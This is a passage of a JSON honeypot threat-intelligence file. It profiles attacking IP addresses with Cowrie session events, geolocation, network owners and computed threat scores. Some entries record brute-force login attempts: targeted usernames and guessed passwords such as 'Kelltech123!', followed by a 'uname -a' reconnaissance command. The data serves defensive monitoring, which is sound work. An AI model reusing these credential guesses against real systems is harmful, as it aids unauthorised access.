      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": "Lauterbourg",
      "asn": 51167,
      "as_org": "Contabo GmbH",
      "threat_score": 4.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 17.7,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.13
      },
      "reputation_metrics": {
        "total_events_30d": 59,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-05T00:35:18.309000+00:00",
        "last_seen_30d": "2026-05-05T01:06:12.350000+00:00",
        "days_since_last_seen": 26
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 33,
        "Suricata": 26
      }
    },
    "27.194.42.82": {
      "attack_count": 30,
      "first_seen": "2026-05-10T14:38:40.103Z",
      "last_seen": "2026-05-10T14:41:54.589Z",
      "sessions": 15,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 8.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 16.6,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.3
      },
      "reputation_metrics": {
        "total_events_30d": 46,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-10T14:38:40.103000+00:00",
        "last_seen_30d": "2026-05-10T14:42:58.966000+00:00",
        "days_since_last_seen": 21
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 30,
        "Suricata": 16
      }
    },
    "150.95.81.194": {
      "attack_count": 28,
      "first_seen": "2026-05-24T13:39:47.190Z",
      "last_seen": "2026-05-24T16:23:09.817Z",
      "sessions": 5,
      "ports": [],
      "usernames_attempted": [
        "kelltech",
        "admin",
        "ftp",
        "root"
      ],
      "passwords_attempted": [
        "Admin2025!",
        "Kelltech#123",
        "Kelltech12",
        "Kelltech123!",
        "changeme123"
      ],
      "commands_executed": [
        "uname -a"
      ],
      "event_types": [
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.login.failed",
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.success",
        "cowrie.session.params"
      ],
      "country": "Japan",
      "country_code": "JP",
      "city": null,
      "asn": 135161,
      "as_org": "GMO-Z com NetDesign Holdings Co., Ltd.",
      "threat_score": 22.4,
      "threat_level": "low",
      "score_components": {
        "frequency": 16.4,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 44,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T13:39:47.190000+00:00",
        "last_seen_30d": "2026-05-24T16:24:17.066000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 28,
        "Suricata": 16
      }
    },
    "117.86.141.106": {
      "attack_count": 22,
      "first_seen": "2026-05-19T19:04:12.258Z",
      "last_seen": "2026-05-19T20:03:13.225Z",
      "sessions": 11,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 16.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 15.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 33,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T19:04:12.258000+00:00",
        "last_seen_30d": "2026-05-19T20:04:20.460000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 22,
        "Suricata": 11
      }
    },
    "159.223.20.71": {
      "attack_count": 21,
      "first_seen": "2026-05-27T04:27:47.874Z",
      "last_seen": "2026-05-27T04:27:49.513Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "GET /query?q=SHOW+DIAGNOSTICS HTTP/1.1",
        "User-Agent: Go-http-client/1.1"
      ],
      "passwords_attempted": [
        "Connection: close",
        "Host: 172.105.186.117:23"
      ],
      "commands_executed": [
        ""
      ],
      "event_types": [
        "cowrie.command.input",
        "cowrie.log.closed",
        "cowrie.login.failed",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.session.params"
      ],
      "country": "Germany",
      "country_code": "DE",
      "city": "Frankfurt am Main",
      "asn": 14061,
      "as_org": "DigitalOcean, LLC",
      "threat_score": 70.7,
      "threat_level": "high",
      "score_components": {
        "frequency": 20.7,
        "persistence": 5.0,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 118,
        "days_active_30d": 6,
        "ports_targeted_30d": 15,
        "honeypots_triggered_30d": 5,
        "first_seen_30d": "2026-05-26T02:40:35.787000+00:00",
        "last_seen_30d": "2026-05-31T21:21:44.870000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 75,
        "Cowrie": 21,
        "Honeytrap": 20,
        "Ipphoney": 1,
        "Tanner": 1
      }
    },
    "51.68.126.146": {
      "attack_count": 18,
      "first_seen": "2026-05-12T21:11:34.624Z",
      "last_seen": "2026-05-16T19:23:58.214Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "France",
      "country_code": "FR",
      "city": null,
      "asn": 16276,
      "as_org": "OVH SAS",
      "threat_score": 14.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 4.2,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.5
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 5,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-12T21:11:34.624000+00:00",
        "last_seen_30d": "2026-05-16T19:24:59.013000+00:00",
        "days_since_last_seen": 15
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 12,
        "Suricata": 9
      }
    },
    "58.48.134.147": {
      "attack_count": 14,
      "first_seen": "2026-05-19T18:40:51.732Z",
      "last_seen": "2026-05-19T19:29:21.848Z",
      "sessions": 7,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Wuhan",
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 13.2,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 21,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T18:40:51.732000+00:00",
        "last_seen_30d": "2026-05-19T19:30:23.047000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 14,
        "Suricata": 7
      }
    },
    "148.135.50.34": {
      "attack_count": 12,
      "first_seen": "2026-05-09T23:07:08.518Z",
      "last_seen": "2026-05-12T09:39:42.077Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [
        "root"
      ],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.fingerprint",
        "cowrie.client.kex",
        "cowrie.client.version",
        "cowrie.login.success",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Los Angeles",
      "asn": 35916,
      "as_org": "MULTACOM CORPORATION",
      "threat_score": 9.8,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 3.3,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.37
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 4,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-09T23:07:08.518000+00:00",
        "last_seen_30d": "2026-05-12T09:40:47.088000+00:00",
        "days_since_last_seen": 19
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "113.228.139.127": {
      "attack_count": 8,
      "first_seen": "2026-05-19T06:25:40.736Z",
      "last_seen": "2026-05-19T06:30:51.088Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4837,
      "as_org": "CHINA UNICOM China169 Backbone",
      "threat_score": 14.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 12,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T06:25:40.736000+00:00",
        "last_seen_30d": "2026-05-19T06:31:51.466000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 4
      }
    },
    "190.52.100.233": {
      "attack_count": 8,
      "first_seen": "2026-05-24T23:14:25.380Z",
      "last_seen": "2026-05-24T23:18:28.619Z",
      "sessions": 4,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 394684,
      "as_org": "GOLD DATA USA INC",
      "threat_score": 18.6,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 11.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 14,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T23:14:25.380000+00:00",
        "last_seen_30d": "2026-05-24T23:19:37.100000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 8,
        "Suricata": 6
      }
    },
    "104.152.52.125": {
      "attack_count": 7,
      "first_seen": "2026-05-23T03:50:18.431Z",
      "last_seen": "2026-05-23T03:50:19.271Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.kex"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 14987,
      "as_org": "Rethem Hosting LLC",
      "threat_score": 34.1,
      "threat_level": "low",
      "score_components": {
        "frequency": 12.6,
        "persistence": 15.0,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 18,
        "days_active_30d": 18,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-06T05:52:14.992000+00:00",
        "last_seen_30d": "2026-05-23T03:51:25.927000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Suricata": 9,
        "Cowrie": 7,
        "Dionaea": 2
      }
    },
    "65.49.1.182": {
      "attack_count": 7,
      "first_seen": "2026-05-14T17:52:06.387Z",
      "last_seen": "2026-05-30T01:44:50.711Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": null,
      "asn": 6939,
      "as_org": "Hurricane Electric LLC",
      "threat_score": 95.6,
      "threat_level": "critical",
      "score_components": {
        "frequency": 25.6,
        "persistence": 25,
        "diversity": 20,
        "spread": 25,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 359,
        "days_active_30d": 30,
        "ports_targeted_30d": 77,
        "honeypots_triggered_30d": 11,
        "first_seen_30d": "2026-05-02T02:16:21+00:00",
        "last_seen_30d": "2026-05-31T01:24:33.678000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 218,
        "Honeytrap": 77,
        "Ciscoasa": 16,
        "Mailoney": 12,
        "Redishoneypot": 11,
        "H0neytr4p": 8,
        "Cowrie": 7,
        "ConPot": 4,
        "Tanner": 3,
        "ElasticPot": 2,
        "Miniprint": 1
      }
    },
    "201.238.0.37": {
      "attack_count": 6,
      "first_seen": "2026-05-19T11:35:23.414Z",
      "last_seen": "2026-05-19T14:20:47.899Z",
      "sessions": 3,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Venezuela",
      "country_code": "VE",
      "city": "Caracas",
      "asn": 27889,
      "as_org": "Telecomunicaciones MOVILNET",
      "threat_score": 13.4,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.6
      },
      "reputation_metrics": {
        "total_events_30d": 9,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-19T11:35:23.414000+00:00",
        "last_seen_30d": "2026-05-19T14:21:57.643000+00:00",
        "days_since_last_seen": 12
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 6,
        "Suricata": 3
      }
    },
    "20.65.194.167": {
      "attack_count": 5,
      "first_seen": "2026-05-02T02:03:56.905Z",
      "last_seen": "2026-05-02T02:04:07.227Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect",
        "cowrie.client.version"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "San Antonio",
      "asn": 8075,
      "as_org": "Microsoft Corporation",
      "threat_score": 65.9,
      "threat_level": "high",
      "score_components": {
        "frequency": 15.9,
        "persistence": 25,
        "diversity": 10,
        "spread": 15,
        "recency_factor": 1.0
      },
      "reputation_metrics": {
        "total_events_30d": 39,
        "days_active_30d": 30,
        "ports_targeted_30d": 5,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-02T02:02:52.062000+00:00",
        "last_seen_30d": "2026-05-31T22:10:43.153000+00:00",
        "days_since_last_seen": 0
      },
      "honeypot_breakdown_30d": {
        "Suricata": 26,
        "Honeytrap": 8,
        "Cowrie": 5
      }
    },
    "113.221.73.24": {
      "attack_count": 4,
      "first_seen": "2026-05-23T09:42:58.174Z",
      "last_seen": "2026-05-23T09:43:59.358Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 15.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T09:42:58.174000+00:00",
        "last_seen_30d": "2026-05-23T09:45:08.727000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "168.195.184.244": {
      "attack_count": 4,
      "first_seen": "2026-05-18T20:43:57.882Z",
      "last_seen": "2026-05-23T02:02:26.327Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Argentina",
      "country_code": "AR",
      "city": "Tres Isletas",
      "asn": 264761,
      "as_org": "ERGON CABLE S.R.L",
      "threat_score": 18.2,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 5.0,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 6,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T20:43:57.882000+00:00",
        "last_seen_30d": "2026-05-23T02:03:32.547000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "173.215.45.9": {
      "attack_count": 4,
      "first_seen": "2026-05-02T05:30:32.026Z",
      "last_seen": "2026-05-02T05:32:32.618Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Altoona",
      "asn": 5056,
      "as_org": "Aureon Network Services",
      "threat_score": 2.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 8.5,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 7,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-02T05:30:32.026000+00:00",
        "last_seen_30d": "2026-05-02T05:43:23.712000+00:00",
        "days_since_last_seen": 29
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 3
      }
    },
    "189.161.250.29": {
      "attack_count": 4,
      "first_seen": "2026-05-23T06:42:55.525Z",
      "last_seen": "2026-05-23T06:44:56.702Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Mexico",
      "country_code": "MX",
      "city": "Puebla City",
      "asn": 8151,
      "as_org": "UNINET",
      "threat_score": 16.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 9.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 8,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-23T06:42:55.525000+00:00",
        "last_seen_30d": "2026-05-23T06:55:57.706000+00:00",
        "days_since_last_seen": 8
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 4
      }
    },
    "221.235.142.217": {
      "attack_count": 4,
      "first_seen": "2026-05-20T05:21:06.643Z",
      "last_seen": "2026-05-20T05:21:59.785Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": null,
      "asn": 4134,
      "as_org": "Chinanet",
      "threat_score": 13.1,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.63
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-20T05:21:06.643000+00:00",
        "last_seen_30d": "2026-05-20T05:23:06.136000+00:00",
        "days_since_last_seen": 11
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "36.231.97.9": {
      "attack_count": 4,
      "first_seen": "2026-05-18T22:46:50.688Z",
      "last_seen": "2026-05-18T22:54:04.323Z",
      "sessions": 2,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": "Taipei",
      "asn": 3462,
      "as_org": "Data Communication Business Group",
      "threat_score": 11.7,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 7.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.57
      },
      "reputation_metrics": {
        "total_events_30d": 6,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-18T22:46:50.688000+00:00",
        "last_seen_30d": "2026-05-18T23:04:48.766000+00:00",
        "days_since_last_seen": 13
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 4,
        "Suricata": 2
      }
    },
    "91.230.168.137": {
      "attack_count": 3,
      "first_seen": "2026-05-05T20:04:59.161Z",
      "last_seen": "2026-05-05T20:04:59.163Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.client.version",
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "United States",
      "country_code": "US",
      "city": "Hillsboro",
      "asn": 213412,
      "as_org": "ONYPHE SAS",
      "threat_score": 70.4,
      "threat_level": "high",
      "score_components": {
        "frequency": 19.6,
        "persistence": 20.8,
        "diversity": 20,
        "spread": 15,
        "recency_factor": 0.93
      },
      "reputation_metrics": {
        "total_events_30d": 92,
        "days_active_30d": 25,
        "ports_targeted_30d": 31,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-05T00:54:26+00:00",
        "last_seen_30d": "2026-05-29T13:06:24.568000+00:00",
        "days_since_last_seen": 2
      },
      "honeypot_breakdown_30d": {
        "Suricata": 56,
        "Honeytrap": 33,
        "Cowrie": 3
      }
    },
    "1.39.204.4": {
      "attack_count": 2,
      "first_seen": "2026-05-03T06:54:15.165Z",
      "last_seen": "2026-05-03T06:56:15.167Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "Jaipur",
      "asn": 38266,
      "as_org": "Vodafone Idea Ltd",
      "threat_score": 1.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.1
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-03T06:54:15.165000+00:00",
        "last_seen_30d": "2026-05-03T07:06:22.858000+00:00",
        "days_since_last_seen": 28
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "101.13.10.157": {
      "attack_count": 2,
      "first_seen": "2026-05-13T10:16:08.272Z",
      "last_seen": "2026-05-13T10:16:23.626Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Taiwan",
      "country_code": "TW",
      "city": null,
      "asn": 24158,
      "as_org": "Taiwan Mobile Co., Ltd.",
      "threat_score": 7.0,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.4
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-13T10:16:08.272000+00:00",
        "last_seen_30d": "2026-05-13T10:17:26.170000+00:00",
        "days_since_last_seen": 18
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "101.245.100.75": {
      "attack_count": 2,
      "first_seen": "2026-05-15T09:21:47.525Z",
      "last_seen": "2026-05-15T09:21:47.792Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "China",
      "country_code": "CN",
      "city": "Guiyang",
      "asn": 55990,
      "as_org": "Huawei Cloud Service data center",
      "threat_score": 16.3,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 10.0,
        "persistence": 5.8,
        "diversity": 4,
        "spread": 15,
        "recency_factor": 0.47
      },
      "reputation_metrics": {
        "total_events_30d": 10,
        "days_active_30d": 7,
        "ports_targeted_30d": 2,
        "honeypots_triggered_30d": 3,
        "first_seen_30d": "2026-05-09T14:56:32+00:00",
        "last_seen_30d": "2026-05-15T09:23:44.192000+00:00",
        "days_since_last_seen": 16
      },
      "honeypot_breakdown_30d": {
        "Suricata": 7,
        "Cowrie": 2,
        "Honeytrap": 1
      }
    },
    "102.209.0.154": {
      "attack_count": 2,
      "first_seen": "2026-05-24T05:03:33.545Z",
      "last_seen": "2026-05-24T05:05:33.553Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Libya",
      "country_code": "LY",
      "city": "Benghazi",
      "asn": 329435,
      "as_org": "Aljuman-Aljadeed",
      "threat_score": 14.5,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 6.0,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.77
      },
      "reputation_metrics": {
        "total_events_30d": 4,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-24T05:03:33.545000+00:00",
        "last_seen_30d": "2026-05-24T05:15:33.932000+00:00",
        "days_since_last_seen": 7
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 2
      }
    },
    "102.90.125.134": {
      "attack_count": 2,
      "first_seen": "2026-05-06T02:04:09.160Z",
      "last_seen": "2026-05-06T02:04:22.114Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Nigeria",
      "country_code": "NG",
      "city": "Port Harcourt",
      "asn": 29465,
      "as_org": "MTN NIGERIA Communication limited",
      "threat_score": 2.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.17
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-06T02:04:09.160000+00:00",
        "last_seen_30d": "2026-05-06T02:05:29.902000+00:00",
        "days_since_last_seen": 25
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "103.211.160.228": {
      "attack_count": 2,
      "first_seen": "2026-05-11T07:13:55.703Z",
      "last_seen": "2026-05-11T07:14:09.262Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "Indonesia",
      "country_code": "ID",
      "city": null,
      "asn": 131769,
      "as_org": "PT Mayatama Solusindo",
      "threat_score": 5.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.33
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
        "first_seen_30d": "2026-05-11T07:13:55.703000+00:00",
        "last_seen_30d": "2026-05-11T07:15:17.897000+00:00",
        "days_since_last_seen": 20
      },
      "honeypot_breakdown_30d": {
        "Cowrie": 2,
        "Suricata": 1
      }
    },
    "110.235.235.136": {
      "attack_count": 2,
      "first_seen": "2026-05-23T21:45:30.019Z",
      "last_seen": "2026-05-23T21:45:43.502Z",
      "sessions": 1,
      "ports": [],
      "usernames_attempted": [],
      "passwords_attempted": [],
      "commands_executed": [],
      "event_types": [
        "cowrie.session.closed",
        "cowrie.session.connect"
      ],
      "country": "India",
      "country_code": "IN",
      "city": "New Delhi",
      "asn": 133982,
      "as_org": "Excitel Broadband Private Limited",
      "threat_score": 12.9,
      "threat_level": "minimal",
      "score_components": {
        "frequency": 4.8,
        "persistence": 0.8,
        "diversity": 2,
        "spread": 10,
        "recency_factor": 0.73
      },
      "reputation_metrics": {
        "total_events_30d": 3,
        "days_active_30d": 1,
        "ports_targeted_30d": 1,
        "honeypots_triggered_30d": 2,
